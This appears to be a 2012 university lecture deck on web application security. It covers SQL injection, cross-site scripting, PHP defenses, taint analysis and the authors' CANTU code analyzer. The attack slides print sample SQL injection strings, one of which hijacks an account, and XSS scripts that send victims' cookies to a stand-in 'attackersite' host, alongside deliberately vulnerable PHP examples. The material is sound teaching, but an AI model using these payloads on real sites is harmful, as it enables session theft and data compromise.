Presentation 14 PDF
Uploaded by
raed waheedPresentation 14 PDF
Uploaded by
raed waheedAnalysis of
Web Application Security
YihKuen Tsay (蔡益坤)
Dept. of Information Management
National Taiwan University
Joint work with Chen‐I Chung, Chih‐Pin Tai,
Chen‐Ming Yao, Rui‐Yuan Yeh, and Sheng‐Feng Yu
2012/11/28 @ JST
Caveats
Concern mainly with security problems
resulted from program defects
Will use PHP and JavaScript for illustration,
though there are many other languages
Means of analysis in general
Testing and simulation
Formal verification
Algorithmic: static analysis, model checking
Deductive: theorem proving
Manual code review
2012/11/28 @ JST Analysis of Web Application Secuirty 2
Personal Perspective
I am a formal verification person, seeking
practical uses of my expertise.
Web application security is one of the very few
practical domains where programmers find
program analyzers useful/indispensable.
There are challenging problems unsolved by
current commercial tools.
2012/11/28 @ JST Analysis of Web Application Secuirty 3
Outline
Introduction
Common Vulnerabilities and Defenses
Objectives and Challenges
Opportunities
Our Approach: CANTU
Conclusion
2012/11/28 @ JST Analysis of Web Application Secuirty 4
How the Web Works
Client side Server side
1
Interact with 2
the browser 3
Request for a Web page
Retrieve/generate
the page, possibly
Browser using data from
Delivery of the page in the database and
HTML + scripts adding client-side
scripts to enrich
User 4 functionalities
Display the
page and 5
execute client-
side scripts on
the page
Note: cookies or the equivalent are typically used for maintaining sessions.
2012/11/28 @ JST Analysis of Web Application Secuirty 5
Web Applications
Web applications refer mainly to the
application programs running on the server.
Part of a Web application may run on the client.
Together, they make the Web interactive,
convenient, and versatile.
Online activities enabled by Web applications:
Hotel/transportation reservation,
Banking, social networks, etc.
As such, Web applications often involve user’s
private and confidential data.
2012/11/28 @ JST Analysis of Web Application Secuirty 6
Web Applications: Dynamic Contents
<?
$link = mysql_connect(‘localhost’,‘username’,‘password’); // connect to
database
$db = mysql_select_db(‘dbname’,$link);
fixInput(); // invoke a user‐defined sanitization function to validate all inputs
$user=$_POST[‘account’];
// fetch and display account information
$query="SELECT id, name, description FROM project WHERE
user_account=‘ ".$user.“ ‘ " ;
$query_result = mysql_query($query);
while ($result=mysql_fetch_row($query_result)) {
echo ‘<table>’;
echo ‘<tr>’;
echo ‘<td width=“100px”>’.$result[0].’</td>’;
echo ‘<td width=“100px”>’.$result[1].’</td>’;
echo ‘<td width=“100px”>’.$result[2].’</td>’;
echo ‘</tr>’;
echo ‘</table>’;
} @ JST
2012/11/28 Analysis of Web Application Secuirty 7
?>
Web Applications: Client-Side Script
<html>
<head>
<title>Example 2</title>
<script type=‘text/javascript’>
function submit_form(){
if(document.getElementById(‘user_account’).value!=“”){
document.getElementById(‘project_form’).submit();
}
}
</script>
</head>
<body>
<form id=‘project_form’ action=‘my_project.php’ method=‘POST’>
<input type=‘text’ name=‘user_account’ id=‘user_account’ />
<input type=‘button’ value=‘OK’ onclick=‘submit_form();’ />
<input type=‘reset’ value=‘Reset’ />
</form>
</body>
</html>
2012/11/28 @ JST Analysis of Web Application Secuirty 8
Vulnerable Web Applications
Many Web applications have security
vulnerabilities that may be exploited by the
attacker.
Most security vulnerabilities are a result of bad
programming practices or programming
errors.
The possible damages:
Your personal data get stolen.
Your website gets infected or sabotaged.
These may bare financial or legal consequences.
2012/11/28 @ JST Analysis of Web Application Secuirty 9
A Common Vulnerability: SQL Injection
User’s inputs are used as parts of an SQL query,
without being checked/validated.
Attackers may exploit the vulnerability to read,
update, create, or delete arbitrary data in the database.
Example (display all users’ information):
Relevant code in a vulnerable application:
$sql = “SELECT * FROM users WHERE id = ‘” . $_GET[‘id’] . “’”;
The attacker types in 0’ OR ‘1’ = ‘1 as the input for id.
The actual query executed:
SELECT * FROM users WHERE id = ‘0’ OR ‘1’ = ‘1’;
So, the attacker gets to see every row from the users
2012/11/28table.
@ JST Analysis of Web Application Secuirty 10
SQL Injection (cont.)
Vulnerable
Attacker User
Website
1. Send an HTTP request
with id = 1128
2. The server returns the
user data with id=1128
(SQL query:
SELECT * FROM user
WHERE id=‘1128’;)
1. Send an HTTP request with id = 0’ OR ‘1’=‘1
2. The server returns all tuples in the user table
(SELECT * FROM user WHERE id=‘0’ OR ‘1’=‘1’;)
message User aware of message User unaware of
2012/11/28 @ JST Analysis of Web Application Secuirty 11
Compromised Websites
Compromised legitimate websites can
introduce malware and scams.
Compromised sites of 2010 include
the European site of popular tech blog TechCrunch,
news outlets like the Jerusalem Post, and
local government websites like that of the U.K.’s
Somerset County Council.
30,000 new malicious URLs every day.
Source: Sophos security threat report 2011
2012/11/28 @ JST Analysis of Web Application Secuirty 12
Compromised Websites (cont.)
More than 70% of those URLs are legitimate
websites that have been hacked or
compromised.
Criminals gain access to the data on a
legitimate site and subvert it to their own ends.
They achieve this by
exploiting vulnerabilities in the software that
power the sites or
by stealing access credentials from malware‐
infected machines.
Source: Sophos security threat report 2011
2012/11/28 @ JST Analysis of Web Application Secuirty 13
Prevention
Properly configure the server
Use secure application interfaces
Validate (sanitize) all inputs from the user and
even the database
Apply detection/verification tools and repair
errors before deployment
Commercial tools
Free tools from research laboratories
2012/11/28 @ JST Analysis of Web Application Secuirty 14
Outline
Introduction
Common Vulnerabilities and Defenses
Objectives and Challenges
Opportunities
Our Approach: CANTU
Conclusion
2012/11/28 @ JST Analysis of Web Application Secuirty 15
OWASP Top 10 Application Security Risks
Injection
Cross‐Site Scripting (XSS)
Broken Authentication and Session Management
Insecure Direct Object Reference
Cross‐Site Request Forgery (CSRF)
Security Misconfiguration
Insecure Cryptographic Storage
Failure to Restrict URL Access
Insufficient Transport Layer Protection
Unvalidated Redirects and Forwards
2012/11/28 @ JST Analysis of Web Application Secuirty 16
What Changed from 2007 to 2010
2012/11/28 @ JST Analysis of Web Application Secuirty 17
SQL Injection (cont.)
Example:
Forgot Password
Email:
We will send your account information to your email address.
$sql = “SELECT login_id, passwd, full_name, email
relevant code: FROM users
WHERE email = ‘” . $_GET[‘email’] . “’”;
The attacker may set things up to steal the account of
Bob ([email protected]) by fooling the server to
execute: SELECT login_id, passwd, full_name, email
FROM users
WHERE email = ‘x’;
UPDATE users
SET email = ‘[email protected]’
2012/11/28 @ JST Analysis of Web Application Secuirty
WHERE email = ‘[email protected]’; 18
Defenses against SQL Injection in PHP
Sources (where tainted data come from)
$_GET, $_POST, $_SERVER, $_COOKIE, $_FILE,
$_REQUEST, $_SESSION
Sinks (where tainted data should not be used)
mysql_query(), mysql_create_db(),
mysql_db_query (), mysql_drop_db(),
mysql_unbuffered_query()
Defenses
Parameter: magic_quotes_gpc
Built‐in function: addslashes
Prepared statements (for database accesses)
2012/11/28 @ JST Analysis of Web Application Secuirty 19
Defenses against SQL Injection (cont.)
Set the magic_quotes_gpc parameter on in the PHP
configuration file.
When the parameter is on, ' (single‐quote), " (double
quote), \ (backslash) and NULL characters are escaped
with a backslash automatically.
Built‐in function: addslashes( string $str )
The same effect as setting magic_quotes_gpc on
<?php
$str = "Is your name O‘Brien?";
echo addslashes($str);
// Output: Is your name O\‘Brien?
?>
2012/11/28 @ JST Analysis of Web Application Secuirty 20
Defenses against SQL Injection (cont.)
Prepared statements
Set up a statement once, and then execute it many times
with different parameters.
Example:
$db_connection = new mysqli("localhost", "user", "pass", "db");
$statement = $db_connection‐>prepare("SELECT * FROM users WHERE id
= ?");
$statement‐>bind_param("i", $id);
$statement‐>execute(); ...
To execute the above query, one needs to supply the
actual value for ? (which is called a placeholder).
The first argument of bind_param() is the input’s type:
i for int, s for string, d for double
2012/11/28 @ JST Analysis of Web Application Secuirty 21
Cross-Site Scripting (XSS)
The server sends unchecked/unvalidated data to
user’s browser.
Attackers may exploit the vulnerability to execute
client‐side scripts to:
Hijack user sessions
Deface websites
Conduct phishing attacks
Types of cross‐site scripting :
Stored XSS
Reflected XSS
2012/11/28 @ JST Analysis of Web Application Secuirty 22
Stored XSS
Vulnerable
Attacker Victim
Website
1. Post a malicious message onto the bulletin board.
<script>document.location=
“http://attackersite/collect.cgi?cooki 2. Logon request
e=”
+ document.cookie;
</script> 3. Set‐Cookie: …
4. Read the bulletin board
5. Show the malicious script
6. The victim's browser runs the <script>document.location=
“http://attackersite/collect.cgi?cooki
script and transmits the cookie to e=”
the attacker. + document.cookie;
</script>
message Victim aware of message Victim unaware of
2012/11/28 @ JST Analysis of Web Application Secuirty 23
Reflected XSS
Vulnerable
Attacker Victim
Website
1. Logon request
2. Set‐Cookie: ID=A12345
3. Request by clicking unwittingly
a link to Attacker’s site
4.
<HTML> 5.
<a href=‘http://vulnerablesite/welcome.cgi? <HTML>
name=<script>window.open(%27http:// <a href=‘http://vulnerablesite/welcome.cgi?
attackersite/collect.cgi?cookie=%27%2Bdoc name=<script>window.open(%27http://
ument.cookie);</script>’>vulnerablesite</a attackersite/collect.cgi?cookie=%27%2Bdoc
> ument.cookie);</script>’>vulnerablesite</a
>
6.
<HTML>
7. <Title>Welcome!</Title>Hi
http://attackersite/collect.cgi?cookie=ID= <script>window.open(‘http://attackersite
A12345 /collect.cgi?cookie =’+document.cookie);
(cookie stolen by the attacker) </script>
message Victim aware of message Victim unaware of
2012/11/28 @ JST Analysis of Web Application Secuirty 24
Defenses against Cross-Site Scripting in PHP
Sources (assumption: the database is not tainted)
$_GET, $_POST, $_SERVER, $_COOKIE, $_FILE,
$_REQUEST, $_SESSION
More Sources (assumption: the database is tainted)
mysql_fetch_array(), mysql_fetch_field(),
mysql_fetch_object(), mysql_fetch_row(), …
Sinks
echo, printf, …
Defenses
htmlspecialchars()
htmlentities()
2012/11/28 @ JST Analysis of Web Application Secuirty 25
Defenses against Cross-Site Scripting (cont.)
Built‐in function: htmlspecialchars( string $str [, int
$quote_style = ENT_COMPAT])
Convert special characters to HTML entities
'&' (ampersand) becomes '&'
'"' (double quote) becomes '"' when
ENT_NOQUOTES is not set.
''' (single quote) becomes ''' only when
ENT_QUOTES is set.
'<' (less than) becomes '<'
'>' (greater than) becomes '>'
<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new; // <a href='test'>Test</a>
?>
2012/11/28 @ JST Analysis of Web Application Secuirty 26
Defenses against Cross-Site Scripting (cont.)
Built‐in function: htmlentities( string $string [, int
$quote_style = ENT_COMPAT] )
the same effect with built‐in function:
htmlspecialchars()
<?php
$orig = "I'll \"walk\" the <b>dog</b> now";
$a = htmlentities($orig);
$b = html_entity_decode($a);
echo $a; // I'll "walk" the <b>dog</b>
now
echo $b; // I'll "walk" the <b>dog</b> now
?>
2012/11/28 @ JST Analysis of Web Application Secuirty 27
Outline
Introduction
Common Vulnerabilities and Defenses
Objectives and Challenges
Opportunities
Our Approach: CANTU
Conclusion
2012/11/28 @ JST Analysis of Web Application Secuirty 28
Current Status
Most known Web application security
vulnerabilities can be fixed.
There are code analysis tools that can help to
detect such security vulnerabilities.
So, what are the problems?
2012/11/28 @ JST Analysis of Web Application Secuirty 29
An Example
PHP code
01 <?php
02 $id = $_POST["id"];
03 $dept = $_POST["dept"];
04 if ($dept == 0) { //guest
05 echo "Hello! guest";
06 displayWelcomePage();
07 }
08 else { // staff
09 if ($id == "admin") {
10 echo "Hello! ".$id;
11 displayManagementFun();
12 }
13 else {
14 echo "Hello! ".$dept.$id;
15 displayBasicFun();
16 }
17 }
18 ?>
2012/11/28 @ JST Analysis of Web Application Secuirty 30
Control Flow Graph
02: $id = $_POST["id"];
03: $dept = $_POST["dept"];
True False
$dept == 0
05: echo "Hello! guest"; True False
$id == "admin"
06: displayWelcomePage();
10: echo "Hello! ".$id; 14: echo "Hello! ".$dept.$id;
11: displayManagementFun(); 15: displayBasicFun();
Exit
2012/11/28 @ JST Analysis of Web Application Secuirty 31
Dependency Graph (1/3)
02: $id = $_POST["id"];
03: $dept = $_POST["dept"]; $_POST["dept"], 3 $_POST["id"], 2
Untainted Tainted
"Hello! Guest", 5 $dept, 3 $id , 2
$dept == 0
Untainted Untainted Tainted
True
05: echo "Hello! guest"; echo, 5
06: displayWelcomePage();
Untainted
Exit
2012/11/28 @ JST Analysis of Web Application Secuirty 32
Dependency Graph (2/3)
02: $id = $_POST["id"]; $_POST["dept"], 3 $_POST["id"], 2
03: $dept = $_POST["dept"];
Tainted Tainted
"Hello! ", 10 $dept, 3 $id , 2
$dept == 0
Untainted Tainted Tainted
False
$id == "admin"
str_concat, 10
True
10: echo "Hello! ".$id; Tainted
11: displayManagementFun();
echo, 10
Exit Tainted
Note: a better analysis would take into account $id == “admin”.
2012/11/28 @ JST Analysis of Web Application Secuirty 33
Dependency Graph (3/3)
02: $id = $_POST["id"]; $_POST["dept"], 3 $_POST["id"], 2
03: $dept = $_POST["dept"];
Tainted Tainted
"Hello! ", 14 $dept, 3 $id , 2
$dept == 0
Untainted Tainted Tainted
False
str_concat, 14
$id == "admin"
Tainted
False
14: echo "Hello! ".$dept.$id; str_concat, 14
15: displayBasicFun();
Tainted
echo, 14
Exit
Tainted
2012/11/28 @ JST Analysis of Web Application Secuirty 34
Alias
PHP code Dependency Graph
01 <?php
02 $a = "message"; $_GET["msg"], 4
03 $b = &$a;
04 $a= $_GET["msg"]; Tainted
05 echo $b;
$b, 3 $a, 4
06 ?>
Tainted Tainted
alias
echo, 5
Tainted
Alias Information
must‐alias{(a,b)}
2012/11/28 @ JST Analysis of Web Application Secuirty 35
Detecting Vulnerabilities by Taint Analysis
All inputs from a source are considered tainted.
Data that depend on tainted data are also
considered tainted.
Some functions may be designated as
sanitization functions (for particular security
vulnerabilities).
Values returned from a sanitization function
are considered clean or untainted.
Report vulnerabilities when tainted values are
used in a sink.
2012/11/28 @ JST Analysis of Web Application Secuirty 36
Problems and Objectives
Four problems (among others) remain:
Existing code analysis tools report too many false
positives.
They rely on the programmer to ensure correctness
of sanitization functions.
Many tools report false negatives in some cases.
Web application languages/frameworks are
numerous and hard to catch up.
We aim to solve the first three problems and
alleviate the fourth.
2012/11/28 @ JST Analysis of Web Application Secuirty 37
Use of a Code Analysis Tool
Source code, Code analysis tool
Web pages Analysis results
Website Manual review
Improvement Analysis report
recommendations Review meeting
Note: fewer false positives means less workload for the human reviewer.
Note: there may be possible feedback loops between two tasks.
2012/11/28 @ JST Analysis of Web Application Secuirty 38
Challenges
Dynamic features of scripting languages
popular for Web application development:
Dynamic typing
Dynamic code generation and inclusion
Other difficult language features:
Aliases and hash tables
Strings and numerical quantities
Interactions between client‐side code, server‐
side code, databases, and system configurations
Variation in browser and server behaviors
2012/11/28 @ JST Analysis of Web Application Secuirty 39
Challenges: Alias Analysis
In PHP, aliases may be introduced by using the
reference operator “&”.
PHP Code PHP Code
<?php <?php
$a=“test”; // $a: untainted $a="test"; // $a: untainted
$b=&$a; // $a, $b: untainted $b=&$a; // $a, $b: untainted
$a= $_GET[“msg”]; // $a ,$b: tainted. grade();
echo $b; // XSS vulnerability function grade()
?> {
$a=$_GET["msg"]; // $a , $b: tainted.
}
echo $b; ?> // XSS vulnerability
Tool A: false negative Tool A: false negative
Tool B: true positive Tool B: false negative
Note: Tool A and Tool B are two popular commercial code analysis
2012/11/28 @ JST Analysis of Web Application Secuirty 40
tools.
Challenges: Alias Analysis (cont.)
None of the existing tools (that we have tested)
handles aliases between objects.
PHP Code
<?php
class car{
var $color;
function set_color($c){
$this‐>color = $c;
}
}
$mycar = new car;
$mycar‐>set_color("blue");
$a_mycar = &$mycar;
$a_mycar‐>set_color
( "<script>alert('xss')</script>“);
echo $mycar‐>color."<br>";
?>
2012/11/28 @ JST Analysis of Web Application Secuirty 41
Challenges: Strings and Numbers
1 if($_GET[‘mode’] == "add"){
2 if(!isset($_GET[‘msg’]) || !isset($_GET[‘poster’])){
3 exit;
4 }
5 $my_msg = $_GET[‘msg’];
6 $my_poster = $_GET[‘poster’];
7 if (strlen($my_msg) > 100 && !ereg(“script",$my_msg)){
8 echo "Thank you for posting the message $my_msg";
9 }
10 }
11 …
To exploit the XSS vulnerability at line 8, we
have to generate input strings satisfying the
conditions at lines 1, 2, and 7, which involve
both string and numeric constraints.
2012/11/28 @ JST Analysis of Web Application Secuirty 42
Challenges: A Theoretical Limitation
Consider the class of programs with:
Assignment
Sequencing, conditional branch, goto
At least three string variables
String concatenation (or even just appending a
symbol to a string)
Equality testing between two string variables
The Reachability Problem for this class of
programs is undecidable.
2012/11/28 @ JST Analysis of Web Application Secuirty 43
Outline
Introduction
Common Vulnerabilities and Defenses
Objectives and Challenges
Opportunities
Our Approach: CANTU
Conclusion
2012/11/28 @ JST Analysis of Web Application Secuirty 44
Research Opportunities
Advanced and integrated program analyses
Formal certification of Web applications
Development methods (including language
design) for secure Web applications
A completely new and secure Web (beyond
http‐related protocols)
2012/11/28 @ JST Analysis of Web Application Secuirty 45
Business Opportunities:
Code Review/Analysis Service
This requires a combination of knowledge
Security domain
Program analysis
Program testing
Review process
There are real and growing demands!
A few industry and academic groups are
building up their capabilities.
2012/11/28 @ JST Analysis of Web Application Secuirty 46
Outline
Introduction
Common Vulnerabilities and Defenses
Objectives and Challenges
Opportunities
Our Approach: CANTU
Conclusion
2012/11/28 @ JST Analysis of Web Application Secuirty 47
CANTU (Code Analyzer from NTU)
It is an integrated environment for analyzing
Web applications.
Main features:
Building on CIL, to treat different languages and
frameworks
Dataflow analysis across client, server, database,
and system configurations
Incorporating dynamic analysis to confirm true
positives
2012/11/28 @ JST Analysis of Web Application Secuirty 48
Architecture of CANTU
PHP HTML JavaScript SQL Database Configuration
Parser Parser Parser Parser Translator Translator
CIL Intermediate Representation
Static Analysis Dynamic Testing
Dataflow Vulnerability Test Cases Vulnerability
Analysis Detection Generation Confirmation
Analysis Results
2012/11/28 @ JST Analysis of Web Application Secuirty 49
Components of Static Analysis
PHP Web Python Web Other Web
Applications Applications Applications
Parse Python
Parse PHP to C AST Parse … to C AST
to C AST
C Abstract Syntax Tree
Convert C AST to CIL
CIL Intermediate
Representation
Data Flow Sanitization Function HTML Other Static
Taint Analysis
Analysis Verification Validation Analyses
Integrated Analysis Results
2012/11/28 @ JST Analysis of Web Application Secuirty 50
Representing PHP Variables in CIL
struct array{
struct hashtable *val;
struct hashtable *index;
};
union mixed {
short bval;
long inum;
double fnum;
char* str;
struct array arr;
void* object;
char* resource;
} ;
struct variable{
enum phpt {BOOL, INT, FLOAT, STR, ARRAY, OBJECT, RESOURCE, NULLType
} val_type;
union mixed val;
};
2012/11/28 @ JST Analysis of Web Application Secuirty 51
Executing
Client
Generated Tests
Server
runTest.php
CANTU /*
Project: project1 instrument
javascript code
Vul: */
1.XSS testcase1 …
2.SQL injection testcase2 /*
redirect to testcase1.xml
the entry page <TestCase>
*/ <vulnerability>Reflected XSS
</vulnerability>
redirect(“a.php”); <precondition></precondition>
<scenario>
<step>
<id>1</id>
a.php simulate.js <page>a.php</page>
/* getStep.php <action>browse</action>
<target></target>
<typingString></typingString>
original code Uses the ajax /* </step>
<!-- instrument code --> method to get Get a test step ….
<expectedValue>
<script src=“simulate.js”> test info */ <type>document.title</type>
<info>XSS</info>
</script> */ </expectedValue>
<result></result>
… </TestCase>
/* verify.php
manipulate /*
the webpage verify
*/ */
2012/11/28 @ JST … Analysis of Web Application Secuirty 52
Outline
Introduction
Common Vulnerabilities and Defenses
Objectives and Challenges
Opportunities
Our Approach: CANTU
Conclusion
2012/11/28 @ JST Analysis of Web Application Secuirty 53
Conclusion
Web application security has drawn much
attention from the public, the industry, and the
academia.
Making Web applications secure requires a
combination of expertise in different areas.
This provides great opportunities for
research/development collaboration.
CANTU represents our vision of this collaboration.
It should also create good opportunities for
starting new businesses.
2012/11/28 @ JST Analysis of Web Application Secuirty 54
Selected References
Huang et al., “Securing Web Application Code by
Static Analysis and Runtime Protection,” WWW
2004.
Minamide,“Static Approximation of Dynamically
Generated Web Pages,” WWW 2005.
Xie and Aiken, “Static Detection of Security
Vulnerabilities in Scripting Languages,” USENIX
Security Symposium 2006.
Su and Wassermann, “The Essence of Command
Injection Attacks in Web Applications,” POPL 2006.
Chess and West, Secure Programming with Static
Analysis, Pearson Education, Inc. 2007.
2012/11/28 @ JST Analysis of Web Application Secuirty 55
Selected References (cont.)
Lam et al., “Securing Web Applications with Static
and Dynamic Information Flow Tracking,” PEPM
2008.
Yu et al., “Verification of String Manipulation
Programs Using MultiTrack Automata,” Tech
Report, UCSB, 2009.
Yu et al., “Generating Vulnerability Signatures for
String Manipulating Programs Using Automata
based Forward and Backward Symbolic Analyses,”
IEEE/ACM ICASE 2009.
Kiezun et al., “Automatic Creation of SQL Injection
and CrossSite Scripting Attacks,” ICSE
2012/11/28 @ JST Analysis of Web Application Secuirty 2009. 56
Selected References (cont.)
OWASP, http://www.owasp.org/.
The CVE Site, http://cve.mitre.org/.
C.‐P. Tai, An Integrated Environment for Analyzing Web
Application Security, Master’s Thesis, NTU, 2010.
R.‐Y. Yeh, An Improved Static Analyzer for Verifying PHP
Web Application Security, Master’s Thesis, NTU, 2010.
S.‐F. Yu, Automatic Generation of Penetration Test Cases
for Web Applications, Master’s Thesis, NTU, 2010.
2012/11/28 @ JST Analysis of Web Application Secuirty 57
You might also like
- F5 Web Application Security: Radovan Gibala100% (1)F5 Web Application Security: Radovan Gibala73 pages
- Phishing and Malicious Javascript: John Mitchell100% (3)Phishing and Malicious Javascript: John Mitchell40 pages
- Context-Web Application Vulnerability Statistics 2010-11-WhitepaperNo ratings yetContext-Web Application Vulnerability Statistics 2010-11-Whitepaper36 pages
- Web Application Attack - Eryk Budi PratamaNo ratings yetWeb Application Attack - Eryk Budi Pratama24 pages
- Web Application Security-Past Present and FutureNo ratings yetWeb Application Security-Past Present and Future25 pages
- Attacking Common Applications Introduction To Attacking Common ApplicationsNo ratings yetAttacking Common Applications Introduction To Attacking Common Applications195 pages
- Application - Security - Research - Update - Report 2018 PDFNo ratings yetApplication - Security - Research - Update - Report 2018 PDF46 pages
- Multi-Module Vulnerability Analysis of Web-Based ApplicationNo ratings yetMulti-Module Vulnerability Analysis of Web-Based Application11 pages
- The Study On Assessment of Security Web ApplicatioNo ratings yetThe Study On Assessment of Security Web Applicatio16 pages
- Auction MGT System For Dtu DocumentationNo ratings yetAuction MGT System For Dtu Documentation69 pages
- A Survey On Web Application Security: Xiaowei Li and Yuan XueNo ratings yetA Survey On Web Application Security: Xiaowei Li and Yuan Xue14 pages
- Web Security (CAT-309) - Unit 1 Lecture 2No ratings yetWeb Security (CAT-309) - Unit 1 Lecture 211 pages
- Web Application Security: February 2008No ratings yetWeb Application Security: February 200826 pages
- A Survey On Client Side and Server Side Approaches To Secure Web ApplicationsNo ratings yetA Survey On Client Side and Server Side Approaches To Secure Web Applications6 pages
- Acknowledgements:: Md. Tomig Uddin AhmedNo ratings yetAcknowledgements:: Md. Tomig Uddin Ahmed26 pages
- A Survey On Security and Vulnerabilities of Web Application: Gopal R. Chaudhari, Prof. Madhav V. VaidyaNo ratings yetA Survey On Security and Vulnerabilities of Web Application: Gopal R. Chaudhari, Prof. Madhav V. Vaidya5 pages
- Technical Seminar: (Web Application Security)No ratings yetTechnical Seminar: (Web Application Security)20 pages
- 41 Common Web Application Vulnerabilities ExplainedNo ratings yet41 Common Web Application Vulnerabilities Explained22 pages
- Project Design Implementation and Evaluation - Asm3 - Thuannpgc00853No ratings yetProject Design Implementation and Evaluation - Asm3 - Thuannpgc0085330 pages
- CTF Walkthroughs: Pwnlab: Host DiscoveryNo ratings yetCTF Walkthroughs: Pwnlab: Host Discovery10 pages
- Application of 360 Degree Assessment System0% (1)Application of 360 Degree Assessment System11 pages
- PHP Frameworks Usability in Web ApplicatNo ratings yetPHP Frameworks Usability in Web Applicat8 pages
- Eckmar's Dark Web Marketplace Script (Latest Version) - Universal Edition - Newsletter Special $99No ratings yetEckmar's Dark Web Marketplace Script (Latest Version) - Universal Edition - Newsletter Special $993 pages
- Mahatab Hossain: Web Application DeveloperNo ratings yetMahatab Hossain: Web Application Developer2 pages
- JavaScript Programming: 3 In 1 Security Design, Expressions And Web DevelopmentFrom EverandJavaScript Programming: 3 In 1 Security Design, Expressions And Web DevelopmentNo ratings yet
